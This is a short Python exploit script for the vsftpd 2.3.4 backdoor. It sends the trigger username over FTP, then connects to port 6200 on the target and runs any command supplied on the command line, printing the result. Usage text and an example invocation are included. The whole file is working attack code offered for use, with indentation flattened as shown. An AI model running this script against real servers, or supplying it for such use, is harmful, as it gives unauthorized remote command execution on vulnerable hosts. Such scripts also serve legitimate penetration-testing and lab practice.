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vsftpd_234_exploit.py
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vsftpd_234_exploit.py
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#!/usr/bin/python3
import socket
import sys
import time
def exploit(ip, port, command):
""" Triggers vsftpd 2.3.4 backdoor and prints supplied command's output """
try:
print('[*] Attempting to trigger backdoor...')
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp_socket.connect((ip, port))
# Attempt to login to trigger backdoor
ftp_socket.send(b'USER letmein:)\n')
ftp_socket.send(b'PASS please\n')
time.sleep(2)
ftp_socket.close()
print('[+] Triggered backdoor')
except Exception:
print('[!] Failed to trigger backdoor on %s' % ip)
try:
print('[*] Attempting to connect to backdoor...')
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
backdoor_socket.connect((ip, 6200))
print('[+] Connected to backdoor on %s:6200' % ip)
command = str.encode(command + '\n')
backdoor_socket.send(command)
response = backdoor_socket.recv(1024).decode('utf-8')
print('[+] Response:\n', response, sep='')
backdoor_socket.close()
except Exception:
print('[!] Failed to connect to backdoor on %s:6200' % ip)
if __name__ == '__main__':
if len(sys.argv) < 4:
print('Usage: ./vsftpd_234_exploit.py <IP address> <port> <command>')
print('Example: ./vsftpd_234_exploit.py 192.168.1.10 21 whoami')
else:
exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])